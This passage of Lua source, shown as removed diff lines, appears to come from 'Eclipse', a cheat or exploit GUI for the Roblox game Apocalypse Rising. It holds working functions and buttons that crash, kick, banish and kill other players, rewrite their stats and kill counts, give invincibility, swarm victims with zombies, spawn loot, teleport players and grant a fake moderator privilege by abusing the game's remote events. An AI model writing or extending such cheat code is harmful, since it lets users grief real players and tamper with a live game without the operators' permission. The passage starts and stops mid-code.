- for _, child in pairs(Workspace:GetChildren()) do
- if not found and child:IsA("Weld") and string.sub(child.Name, 1, string.len(Settings.InitialKeyword)) == Settings.InitialKeyword and GetChild(Players, string.sub(child.Name, string.len(Settings.InitialKeyword) + 1)) == nil then
- found = true
- ChangeProperty(child, "Parent", Player)
- ChangeProperty(child, "Name", "_il_oa")
- break
- end
- end
- else
- if string.sub(message, 1, 2) == "s;" then
- local name, amount = string.match(string.sub(message, 3), "(%w+)%;(%d+)")
- name = name or string.sub(message, 3)
- amount = math.min(amount or 1, 30)
- Spawn(name, amount, 1)
- end
- end
- end
- end
- function Kick(player)
- if type(player) == "string" then
- for _, player in pairs(GetPlayers(player)) do
- Kick(player)
- end
- else
- ChangeProperty(player, "Parent", nil)
- end
- end
- function Crash(player)
- local player = GetPlayers(tostring(player))[1]
- if player then
- local spawned, torso = PlayerSpawned(player)
- if spawned then
- Inform("Attempted to crash %q", player.Name)
- Thread(function()
- for index = 1, 5 do
- wait()
- ChangeProperty(torso, "CFrame", CFrame.new(1e9, 1e9, 1e9))
- end
- end)
- else
- Inform("Player didnt spawn, using kick as an alternative...")
- Kick(player)
- end
- end
- end
- function GetStats(player)
- return GetChild(player, "playerstats")
- end
- function ConnectPlayer(player)
- if Settings.Banished[player.Name] then
- Kick(player)
- end
- end
- function ServerChat(playerName, message)
- for index = 1, 8 do
- local holder = Workspace.messages["m" .. index]
- local next_holder
- pcall(function() next_holder = Workspace.messages["m" .. index - 1] end)
- if index > 1 then
- ChangeProperty(holder.author, "Value", next_holder.author.Value)
- ChangeProperty(holder, "Value", next_holder.Value)
- else
- ChangeProperty(holder.author, "Value", playerName .. ":")
- ChangeProperty(holder, "Value", playerName .. ": " .. string.gsub(message, "", "\5"))
- end
- end
- end
- do
- local frame_instances = {}
- local function create_frame(color, position, size)
- color = string.lower(color)
- local frame_instance = CreateInstance("Frame"){
- Name = "Frame",
- BackgroundColor3 = color == "white" and Color3.new(1, 1, 1) or color == "black" and Color3.new() or nil,
- BackgroundTransparency = 0.75,
- BorderSizePixel = 0,
- Position = position,
- Size = size
- }
- table.insert(frame_instances, frame_instance)
- end
- create_frame("White", UDim2.new(0, 1, 1, -3), UDim2.new(1, -4, 0, 2))
- create_frame("White", UDim2.new(1, -3, 0, 3), UDim2.new(0, 2, 1, -4))
- create_frame("White", UDim2.new(0, 1, 0, 1), UDim2.new(0, 2, 1, -4))
- create_frame("White", UDim2.new(0, 3, 0, 1), UDim2.new(1, -4, 0, 2))
- --
- create_frame("Black", UDim2.new(0, 3, 0, 3), UDim2.new(0, 1, 1, -7)) -- 2 black for every white
- create_frame("Black", UDim2.new(0, 3, 1, -4), UDim2.new(1, -7, 0, 1))
- create_frame("Black", UDim2.new(1, -4, 0, 4), UDim2.new(0, 1, 1, -7))
- create_frame("Black", UDim2.new(1, -1, 0, 1), UDim2.new(0, 1, 1, -1))
- create_frame("Black", UDim2.new(0, 4, 0, 3), UDim2.new(1, -7, 0, 1))
- create_frame("Black", UDim2.new(0, 0, 0, 0), UDim2.new(0, 1, 1, -1))
- create_frame("Black", UDim2.new(0, 1, 0, 0), UDim2.new(1, -1, 0, 1))
- create_frame("Black", UDim2.new(0, 0, 1, -1), UDim2.new(1, -1, 0, 1))
- function CreateBorder(instance)
- local frame_holder = CreateInstance("Frame", instance){
- Name = "BorderHolder",
- BackgroundTransparency = 1,
- Size = UDim2.new(1, 0, 1, 0),
- ZIndex = instance.ZIndex
- }
- for index, frame in pairs(frame_instances) do
- local new_frame = frame:Clone()
- new_frame.Parent = frame_holder
- new_frame.ZIndex = instance.ZIndex
- end
- return instance
- end
- end
- function Banish(player)
- if type(player) == "string" then
- for _, player in pairs(GetPlayers(player)) do
- Banish(player)
- end
- else
- Settings.Banished[player.Name] = true
- Crash(player)
- Thread(function()
- wait(5)
- if player.Parent then
- Kick(player)
- end
- end)
- end
- end
- function GetRainbowRGB(hue)
- local section = hue % 1 * 3
- local secondary = 0.5 * math.pi * (section % 1)
- if section < 1 then
- return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
- elseif section < 2 then
- return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
- else
- return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
- end
- end
- function GetPlayers(message)
- local result, players = {}, Players:GetPlayers()
- message = string.lower(tostring(message or "\0"))
- if string.find(message, ",") then
- for match in string.gmatch(message, "[^,]+") do
- for _, player in pairs(GetPlayers(match)) do
- table.insert(result, player)
- end
- end
- return result
- end
- if message == "friends" then
- for _, player in pairs(Players:GetPlayers()) do
- if player ~= Player and player:IsFriendsWith(Player.userId) then
- table.insert(result, player)
- end
- end
- elseif message == "guests" then
- for _, player in pairs(Players:GetPlayers()) do
- if player.userId <= 0 then
- table.insert(result, player)
- end
- end
- elseif message == "nonguests" then
- for _, player in pairs(Players:GetPlayers()) do
- if player.userId > 0 then
- table.insert(result, player)
- end
- end
- elseif message == "all" or message == "everyone" then
- for _, player in pairs(Players:GetPlayers()) do
- table.insert(result, player)
- end
- elseif message == "others" then
- for _, player in pairs(Players:GetPlayers()) do
- if player ~= Player then
- table.insert(result, player)
- end
- end
- elseif message == "me" then
- table.insert(result, Player)
- elseif message == "random" then
- table.insert(result, Players:GetPlayers()[math.random(#Players:GetPlayers())])
- elseif message == "mrandom" then
- if #Players:GetPlayers() > 1 then
- local found = false
- while not found or found == Player do
- found = Players:GetPlayers()[math.random(#Players:GetPlayers())]
- end
- if found then
- table.insert(result, found)
- end
- end
- elseif string.sub(message, 1, 6) == "group-" or string.sub(message, 1, 6) == "group:" then
- if tonumber(string.sub(message, 7)) then
- for _, player in pairs(Players:GetPlayers()) do
- if player:IsInGroup(tonumber(string.sub(message, 7))) then
- table.insert(result, player)
- end
- end
- end
- else
- for _, player in pairs(Players:GetPlayers()) do
- if string.sub(string.lower(player.Name), 1, string.len(message)) == string.lower(message) then
- table.insert(result, player)
- end
- end
- end
- return result
- end
- function CreateGUI()
- pcall(function() CoreGui[Settings.GuiName]:Destroy() end)
- local ScreenGui = CreateInstance("ScreenGui", CoreGui){
- Name = Settings.GuiName
- }
- local MainHolder = CreateInstance("TextButton", ScreenGui){
- Name = "Holder",
- AutoButtonColor = false,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0.5, -225, 0, -400),
- Size = UDim2.new(0, 450, 0, 25),
- Font = "SourceSansLight",
- FontSize = "Size18",
- Text = " Eclipse",
- TextColor3 = Color3.new(),
- TextXAlignment = "Left",
- Draggable = true
- }
- local VisabilityToggler = CreateBorder(CreateInstance("TextButton", ScreenGui){
- Name = "ToggleVisibility",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0.5, -60, 0, -90),
- Size = UDim2.new(0, 120, 0, 50),
- Font = "SourceSansLight",
- FontSize = "Size36",
- Text = "Open",
- TextColor3 = Color3.new()
- })
- local ContentFramesHolder = CreateInstance("Frame", MainHolder){
- Name = "ContentFrames",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, 0, 60),
- Size = UDim2.new(1, 0, 0, 300)
- }
- CreateBorder(CreateInstance("Frame", MainHolder){
- Name = "Divider",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0, 5, 0, 25),
- Size = UDim2.new(1, -10, 0, 8),
- ZIndex = 2
- })
- local ToolbarDivider = CreateInstance("Frame", MainHolder){
- Name = "ToolbarDivider",
- BackgroundColor3 = Color3.new(),
- BorderSizePixel = 0,
- Position = UDim2.new(0, 5, 0, 63),
- Size = UDim2.new(1, -10, 0, 1)
- }
- local CloseButton = CreateInstance("ImageButton", MainHolder){
- Name = "Close",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderColor3 = Color3.new(),
- BorderSizePixel = 1,
- Position = UDim2.new(1, -20, 0.5, -8),
- Size = UDim2.new(0, 16, 0, 16),
- Image = "rbxassetid://247423668"
- }
- local Toolbar = CreateInstance("Frame", MainHolder){
- Name = "Toolbar",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0, 0, 0, 25),
- Size = UDim2.new(1, 0, 0, 35)
- }
- do -- Saves us time
- local function CreateToolbarButton(name, position, text)
- local button = CreateInstance("TextButton", Toolbar){
- Name = name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = position,
- Size = UDim2.new(0, 150, 0, 25),
- Font = "SourceSansItalic",
- FontSize = "Size18",
- Text = text,
- TextColor3 = Color3.new()
- }
- button.MouseButton1Down:connect(function()
- for _, frame in pairs(ContentFramesHolder:GetChildren()) do
- if frame.Name ~= name then
- frame.Visible = false
- else
- frame.Visible = true
- end
- end
- end)
- return button
- end
- CreateToolbarButton("Tools", UDim2.new(0, 0, 1, -25), "Tools")
- CreateToolbarButton("VehicleUtilities", UDim2.new(0, 150, 1, -25), "Vehicle Utilities")
- CreateToolbarButton("Misc", UDim2.new(0, 300, 1, -25), "Misc")
- end
- local IntroductionFrame, ToolsFrame, VehicleToolsFrame, MiscFrame; do
- local function CreateContentFrame(name, visible)
- return CreateInstance("ScrollingFrame", ContentFramesHolder){
- Name = name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Size = UDim2.new(1, 0, 1, 0),
- Visible = visible or false,
- CanvasSize = UDim2.new(),
- BottomImage = "",
- MidImage = "",
- TopImage = "",
- ScrollBarThickness = 0
- }
- end
- IntroductionFrame = CreateContentFrame("Introduction", true)
- ToolsFrame = CreateContentFrame("Tools", false)
- VehicleToolsFrame = CreateContentFrame("VehicleUtilities", false)
- MiscFrame = CreateContentFrame("Misc", false)
- end
- CreateInstance("TextLabel", IntroductionFrame){
- BackgroundTransparency = 1,
- Position = UDim2.new(0.2, 0, 0.2, 0),
- Size = UDim2.new(0.6, 0, 0.6, 0),
- Font = "SourceSansItalic",
- FontSize = "Size24",
- Text = [[Welcome to Eclipse- A system developed by iLordVex to give the user vast abilities in Apocalypse Rising.]],
- TextColor3 = Color3.new(),
- TextWrapped = true
- }
- do -- Tool tab
- local ToolsHolderFrame = CreateInstance("Frame", ToolsFrame){
- Name = "MainHolder",
- BackgroundTransparency = 1,
- Size = UDim2.new(1, 0, 1, 0)
- }
- local LootDropsHolderFrame = CreateInstance("Frame", ToolsFrame){
- Name = "LootDropsHolder",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, -1, 0),
- Size = UDim2.new(1, 0, 1, 0)
- }
- ToolsFrame.CanvasSize = UDim2.new(0, 0, 1, 160)
- local function CreateToolFrame(name, position, size)
- return CreateInstance("Frame", ToolsHolderFrame){
- Name = name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BackgroundTransparency = 1,
- Position = position,
- Size = size
- }
- end
- local function CreateToolContents(tool_frame, inputs, invoke_data, click_function)
- if not click_function then
- warn("No click function!")
- end
- --[[
- input_data.Name,
- input_data.X1,
- input_data.Y1,
- input_data.Y2,
- input_data.Size,
- input_data.Text
- --]]
- local total_size = 0
- local input_instances, invoke_instance = {}
- for index, input_data in pairs(inputs or {}) do
- table.insert(input_instances, ({CreateInstance("TextBox", tool_frame){
- Name = input_data.Name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderColor3 = Color3.new(),
- Position = UDim2.new(input_data.X1 or 0, total_size, input_data.Y1 or 0, input_data.Y2 or 0),
- Size = input_data.Size,
- Font = "SourceSans",
- FontSize = "Size14",
- Text = input_data.Text,
- TextColor3 = Color3.new()
- }})[1])
- total_size = total_size + input_data.Size.X.Offset + 10
- end
- --[[
- invoke_data.Size,
- invoke_data.Text,
- invoke_data.FontSize, (optional)
- invoke_data.Font (optional)
- --]]
- invoke_instance = CreateBorder(CreateInstance("TextButton", tool_frame){
- Name = "Invoke",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0, total_size, 0, 0),
- Size = invoke_data.Size,
- Font = invoke_data.Font or "SourceSans",
- FontSize = invoke_data.FontSize or "Size14",
- Text = invoke_data.Text,
- TextColor3 = Color3.new()
- })
- invoke_instance.MouseButton1Down:connect(function()
- if click_function then
- click_function(input_instances, invoke_instance)
- end
- end)
- return input_instances, invoke_instance
- end
- local GodFrame = CreateToolFrame("God", UDim2.new(0, 10, 0, 10), UDim2.new(0.5, -20, 0, 30))
- local CrashFrame = CreateToolFrame("Crash", UDim2.new(0.5, 10, 0, 10), UDim2.new(0.5, -20, 0, 30))
- local BanishFrame = CreateToolFrame("Banish", UDim2.new(0, 10, 0, 50), UDim2.new(0.5, -20, 0, 30))
- local StatsResetFrame = CreateToolFrame("ResetStats", UDim2.new(0.5, 10, 0, 50), UDim2.new(0.5, -20, 0, 30))
- local ChangeKillsFrame = CreateToolFrame("ChangeKills", UDim2.new(0, 10, 0, 130), UDim2.new(0.5, -20, 0, 30))
- local ChangeDaysFrame = CreateToolFrame("ChangeDays", UDim2.new(0, 10, 0, 170), UDim2.new(0.5, -20, 0, 30))
- local ChangeZKillsFrame = CreateToolFrame("ChangeZKills", UDim2.new(0.5, 10, 0, 170), UDim2.new(0.5, -20, 0, 30))
- local KillFrame = CreateToolFrame("Kill", UDim2.new(0.5, 10, 0, 90), UDim2.new(0.5, -20, 0, 30))
- local SpectateFrame = CreateToolFrame("Spectate", UDim2.new(0, 10, 0, 90), UDim2.new(0.5, -20, 0, 30))
- local KickFrame = CreateToolFrame("Kick", UDim2.new(0.5, 10, 0, 130), UDim2.new(0.5, -20, 0, 30))
- local SwarmFrame = CreateToolFrame("Swarm", UDim2.new(0, 10, 0, 210), UDim2.new(0.5, -20, 0, 30))
- local ToggleSpawningFrame = CreateToolFrame("ToggleSpawning", UDim2.new(0.5, 10, 0, 210), UDim2.new(0.5, -20, 0, 30))
- local ModClothingFrame = CreateToolFrame("ModClothing", UDim2.new(0, 10, 0, 250), UDim2.new(0.5, -20, 0, 30))
- local ModeratorGUIFrame = CreateToolFrame("ARGUI", UDim2.new(0.5, 10, 0, 250), UDim2.new(0.5, -20, 0, 30))
- local TeleportPlayerFrame = CreateToolFrame("TeleportPlayer", UDim2.new(0, 10, 0, 290), UDim2.new(0.842, -20, 0, 30))
- local FogEndFrame = CreateToolFrame("FogEnd", UDim2.new(1, -90, 0, 290), UDim2.new(0.225, -20, 0, 30))
- local SpawnItemFrame = CreateToolFrame("Spawn", UDim2.new(0, 10, 0, 330), UDim2.new(1, -20, 0, 30))
- local GetSpawnablesFrame = CreateToolFrame("GetSpawnables", UDim2.new(0, 10, 0, 370), UDim2.new(1, -20, 0, 80))
- CreateToolContents(GodFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "God Player"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- if player.Character then
- local humanoid = FindFirstClass(player.Character, "Humanoid")
- if humanoid then
- ChangeProperty(humanoid, "MaxHealth", math.huge)
- repeat wait() until humanoid.MaxHealth == math.huge
- ChangeProperty(humanoid, "Health", math.huge)
- --ChangeProperty(humanoid, "Health", GoddedHealth)
- --[[
- local GoddedHealth = 10000000
- local function ChangeHealth()
- ChangeProperty(humanoid, "MaxHealth", GoddedHealth)
- ChangeProperty(humanoid, "Health", GoddedHealth)
- end
- ChangeHealth()
- humanoid.Changed:connect(function()
- if GoddedHealth - humanoid.Health >= 10000 then -- If the difference between godded health and new health is more than 10000
- ChangeHealth()
- end
- end)
- --]]
- end
- end
- end
- end)
- CreateToolContents(CrashFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Crash Player"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- Thread(function()
- Crash(player)
- wait(10)
- pcall(function() Kick(player) end)
- end)
- end
- end)
- CreateToolContents(BanishFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Banish Player"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- Banish(player)
- end
- end)
- CreateToolContents(StatsResetFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Reset Stats"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- local stats = GetStats(player)
- if stats then
- ChangeProperty(stats.PlayerKill.Aggressive, "Value", 0)
- ChangeProperty(stats.Days, "Value", 1)
- ChangeProperty(stats.ZombieKill.Military, "Value", 0)
- end
- end
- end)
- CreateToolContents(ChangeKillsFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 80, 0, 30),
- Text = "[p]"
- }, {
- Name = "Input2",
- Size = UDim2.new(0, 30, 0, 30),
- Text = "[n]"
- }}, {
- Size = UDim2.new(0, 80, 0, 30),
- Text = "Change Kills"
- }, function(inputs)
- if tonumber(inputs[2].Text) then
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- local stats = GetStats(player)
- if stats then
- ChangeProperty(stats.PlayerKill.Aggressive, "Value", tonumber(inputs[2].Text))
- end
- end
- end
- end)
- CreateToolContents(ChangeDaysFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 80, 0, 30),
- Text = "[p]"
- }, {
- Name = "Input2",
- Size = UDim2.new(0, 30, 0, 30),
- Text = "[n]"
- }}, {
- Size = UDim2.new(0, 80, 0, 30),
- Text = "Change Days"
- }, function(inputs)
- if tonumber(inputs[2].Text) then
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- local stats = GetStats(player)
- if stats then
- ChangeProperty(stats.Days, "Value", tonumber(inputs[2].Text))
- end
- end
- end
- end)
- CreateToolContents(ChangeZKillsFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 80, 0, 30),
- Text = "[p]"
- }, {
- Name = "Input2",
- Size = UDim2.new(0, 30, 0, 30),
- Text = "[n]"
- }}, {
- Size = UDim2.new(0, 80, 0, 30),
- Text = "Change Z Kills"
- }, function(inputs)
- if tonumber(inputs[2].Text) then
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- local stats = GetStats(player)
- if stats then
- ChangeProperty(stats.ZombieKill.Military, "Value", tonumber(inputs[2].Text))
- Thread(function()
- local days = stats.Days.Value
- wait(0.1)
- ChangeProperty(stats.Days, "Value", 0)
- wait(1)
- ChangeProperty(stats.Days, "Value", days)
- end)
- end
- end
- end
- end)
- CreateToolContents(KillFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Kill Player"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- if player.Character then
- local humanoid = FindFirstClass(player.Character, "Humanoid")
- if humanoid then
- ChangeProperty(humanoid, "Health", 0)
- ChangeProperty(humanoid, "MaxHealth", 0)
- end
- end
- end
- end)
- CreateToolContents(SpectateFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Spectate Player"
- }, function(inputs)
- local player = GetPlayers(inputs[1].Text)[1]
- if player and player.Character then
- Workspace.CurrentCamera.CameraSubject = player.Character
- end
- end)
- CreateToolContents(KickFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Kick Player"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- Kick(player)
- end
- end)
- CreateToolContents(SwarmFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Swarm Player"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- local TeleportedZombies = {}
- local VictimDied = false
- local ZombieDuration = 30
- local spawned, torso = PlayerSpawned(player)
- if not spawned then
- Inform("Player didnt spawn!")
- return
- end
- GetCamera().CameraSubject = Player.Character.Humanoid
- --[[
- Thread(function()
- wait(ZombieDuration)
- for _, zombie in pairs(TeleportedZombies) do
- pcall(function()
- ChangeProperty(zombie.Humanoid, "Health", 0)
- end)
- end
- end)
- --]]
- if Settings.SelectedVehicle and (Settings.Game == "Reborn" or Settings.Game == "Amend") then
- Thread(function()
- wait(1.5)
- Settings.SelectedVehicle.Seats.Driver.Anchored = true
- Thread(function()
- wait(10)
- Settings.SelectedVehicle.Seats.Driver.Anchored = false
- end)
- end)
- end
- if not Settings.SelectedVehicle then
- local humanoid = FindFirstClass(player.Character, "Humanoid")
- if player.Character and humanoid then
- local human_connection = false; human_connection = humanoid.Died:connect(function()
- VictimDied = true
- if human_connection.connected then
- human_connection:disconnect()
- end
- wait(1)
- GetCamera().CameraSubject = Player.Character
- end)
- Thread(function()
- wait(ZombieDuration)
- if not VictimDied then
- GetCamera().CameraSubject = Player.Character
- end
- end)
- GetCamera().CameraSubject = player.Character.Humanoid
- end
- else
- ChangeProperty(Settings.SelectedVehicle.Seats.Driver, "CFrame", player.Character.Torso.CFrame * CFrame.new(-100, 10, 0))
- end
- local collected_zombies = {}
- for _, place in pairs(Workspace.Zombies:GetChildren()) do
- for _, zombie in pairs(place:GetChildren()) do
- if #zombie:GetChildren() > 0 and #collected_zombies < 45 then
- table.insert(collected_zombies, zombie)
- end
- end
- end
- for index = 0, 45, 5 do
- if VictimDied == false then
- if index ~= 45 then
- local zombies = {unpack(collected_zombies, index)}
- for z_index = 1, 5 do
- local zombie = zombies[z_index]
- if zombie and pcall(Game.IsA, zombie, "Instance") then
- local formula = z_index / 5 * math.pi * 2
- ChangeProperty(
- zombie.Torso,
- "CFrame",
- player.Character.Torso.CFrame * CFrame.new(5 * math.sin(formula), 0, 5 * math.cos(formula))
- )
- end
- end
- end
- wait(3)
- end
- end
- end
- end)
- CreateToolContents(ToggleSpawningFrame, nil, {
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Spawning Type: Client sided",
- Font = "SourceSansLight",
- FontSize = "Size18"
- }, function(inputs, invoke_instance)
- Settings.SpawningType = Settings.SpawningType == 0 and 1 or 0
- invoke_instance.Text = "Spawning Type: " .. (Settings.SpawningType == 0 and "Client sided" or "Server sided")
- end)
- CreateToolContents(ModClothingFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Font = "SourceSans",
- FontSize = "Size12",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Give Mod Clothing"
- }, function(inputs)
- for _, player in pairs(GetPlayers(inputs[1].Text)) do
- if player and player.Character then
- local shirt, pants = FindFirstClass(player.Character, "Shirt"), FindFirstClass(player.Character, "Pants")
- if shirt then
- ChangeProperty(shirt, "ShirtTemplate", "rbxassetid://337128174")
- end
- if pants then
- ChangeProperty(pants, "PantsTemplate", "rbxassetid://337128215")
- end
- end
- end
- end)
- CreateToolContents(ModeratorGUIFrame, nil, {
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Load Keth's Moderator GUI",
- Font = "SourceSansLight",
- FontSize = "Size18"
- }, function(inputs, invoke_instance)
- if not GetChild(Player, "privilege") then
- CreateValue:FireServer("ObjectID", Settings.RemotesHolder, 0)
- local initial
- repeat
- initial = GetChild(Settings.RemotesHolder, "ObjectID")
- wait()
- until initial
- ChangeProperty(initial, "Name", "privilege")
- ChangeProperty(initial, "Value", 0)
- ChangeProperty(initial, "Parent", Player)
- Inform("You must reset for this to take effect.")
- else
- Inform("You already have the GUI!")
- end
- end)
- CreateToolContents(TeleportPlayerFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 90, 0, 30),
- Text = "[p]"
- }, {
- Name = "Input2",
- Position = UDim2.new(0, 110, 0, 0),
- Size = UDim2.new(0, 90, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 140, 0, 30),
- FontSize = "Size14",
- Text = "Teleport Player to Player"
- }, function(inputs)
- local players = {GetPlayers(inputs[1].Text), GetPlayers(inputs[2].Text)[1]}
- if #players[1] > 0 and players[2] then
- for _, player in pairs(players[1]) do
- Teleport(player, players[2])
- end
- else
- Inform("Player not found")
- end
- --[[
- local players = {GetPlayers(inputs[1].Text)[1], GetPlayers(inputs[2].Text)[1]}
- if players[1] and players[2] then
- local spawned = {{PlayerSpawned(players[1])}, {PlayerSpawned(players[2])}}
- if spawned[1][1] then
- if spawned[2][1] then
- local humanoid = FindFirstClass(players[1].Character, "Humanoid")
- if humanoid then
- ChangeProperty(humanoid, "Sit", true)
- ChangeProperty(spawned[1][2], "Anchored", true)
- wait(0.5)
- ChangeProperty(spawned[1][2], "CFrame", spawned[2][2].CFrame * CFrame.new(-2, 0, 0))
- wait(0.5)
- ChangeProperty(spawned[1][2], "Anchored", false)
- ChangeProperty(humanoid, "Jump", true)
- else
- Inform("Unable to acquire player's humanoid")
- end
- else
- Inform("Player2 didn't spawn")
- end
- else
- Inform("Player1 didn't spawn")
- end
- end
- --]]
- end)
- CreateToolContents(FogEndFrame, nil, {
- Size = UDim2.new(1, 0, 0, 30),
- Text = "FogEnd: On",
- Font = "SourceSansLight",
- FontSize = "Size14"
- }, function(inputs, invoke_instance)
- local currentState = string.match(invoke_instance.Text, "FogEnd:%s(%a+)")
- if currentState == "On" then
- invoke_instance.Text = "FogEnd: Off"
- Lighting.FogEnd = 1e9
- else
- invoke_instance.Text = "FogEnd: On"
- Lighting.FogEnd = Settings.StartupFogEnd
- end
- end)
- CreateToolContents(SpawnItemFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 325, 0, 30),
- Text = "[name]"
- }}, {
- Size = UDim2.new(0, 100, 0, 30),
- Text = "Spawn Item"
- }, function(inputs)
- local item_names = {}
- local text = inputs[1].Text
- if string.find(text, ",") then
- for match in string.gmatch(text, "[^,]+") do
- table.insert(item_names, match)
- end
- else
- item_names = {text}
- end
- for _, name in pairs(item_names) do
- local spawned = false
- for _, child in pairs(Settings.LootDrops:GetChildren()) do
- if spawned == false and string.find(string.lower(child.Name), string.lower(name)) then
- spawned = true
- Spawn(child.Name)
- end
- end
- end
- end)
- do
- local yOffset = ToolsFrame.CanvasSize.Y.Offset
- CreateToolContents(GetSpawnablesFrame, nil, {
- Size = UDim2.new(1, 0, 0, 80),
- Text = "View a list of spawnable loot",
- Font = "SourceSansLight",
- FontSize = "Size32"
- }, function(inputs)
- ToolsFrame.CanvasSize = UDim2.new()
- ToolsHolderFrame:TweenPosition(UDim2.new(0, 0, -1, -yOffset), "Out", "Sine", 0.8, true, function()
- LootDropsHolderFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Sine", 0.8, true)
- end)
- end)
- end
- -- Loot drops frame (still part of tools frame)
- do
- local yOffset = ToolsFrame.CanvasSize.Y.Offset
- local ContainerContents = {}
- local InputHolder = CreateBorder(CreateInstance("Frame", LootDropsHolderFrame){
- Name = "InputHolder",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0.5, -150, 0, 40),
- Size = UDim2.new(0, 300, 0, 40)
- })
- local InputBox = CreateInstance("TextBox", InputHolder){
- Name = "Input",
- BackgroundTransparency = 1,
- Size = UDim2.new(1, 0, 1, 0),
- Font = "SourceSansItalic",
- FontSize = "Size18",
- Text = "[item keyword]",
- TextColor3 = Color3.new()
- }
- local DropsHolderFrame = CreateBorder(CreateInstance("Frame", LootDropsHolderFrame){
- Name = "DropsHolder",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0.5, -150, 0, 90),
- Size = UDim2.new(0, 300, 0, 190)
- })
- local DropsContainer = CreateInstance("ScrollingFrame", DropsHolderFrame){
- Name = "CollectedDrops",
- BackgroundTransparency = 1,
- BorderSizePixel = 0,
- Size = UDim2.new(1, 0, 1, 0),
- CanvasSize = UDim2.new(0, 0, 2, 0),
- ScrollBarThickness = 0,
- ClipsDescendants = true
- }
- local BackButton = CreateInstance("TextButton", LootDropsHolderFrame){
- Name = "GoBack",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 5, 0, 10),
- Size = UDim2.new(0, 70, 0, 20),
- Font = "SourceSansItalic",
- FontSize = "Size18",
- Text = "< Go Back",
- TextColor3 = Color3.new()
- }
- local SearchLabel = CreateInstance("TextLabel", LootDropsHolderFrame){
- Name = "SearchTitle",
- BackgroundTransparency = 1,
- Position = UDim2.new(0.5, -50, 0, 10),
- Size = UDim2.new(0, 100, 0, 30),
- Font = "SourceSansItalic",
- FontSize = "Size24",
- Text = "Search:",
- TextColor3 = Color3.new()
- }
- BackButton.MouseButton1Down:connect(function()
- ToolsFrame.CanvasSize = UDim2.new(0, 0, 1, yOffset)
- LootDropsHolderFrame:TweenPosition(UDim2.new(0, 0, -1, -yOffset), "Out", "Sine", 0.8, true, function()
- ToolsHolderFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Sine", 0.8, true)
- end)
- end)
- InputBox.Changed:connect(function(property)
- if property == "Text" then
- local newText = InputBox.Text
- local collectedMatches = {}
- if newText == "" then
- for _, child in pairs(ContainerContents) do
- collectedMatches[child] = true
- end
- else
- for _, child in pairs(ContainerContents) do
- if string.find(string.lower(child.Name), string.lower(newText)) then
- collectedMatches[child] = true
- end
- end
- end
- DropsContainer.CanvasPosition = Vector2.new()
- local matchIndex = 1
- for _, child in pairs(ContainerContents) do
- if collectedMatches[child] then
- child.Visible = true
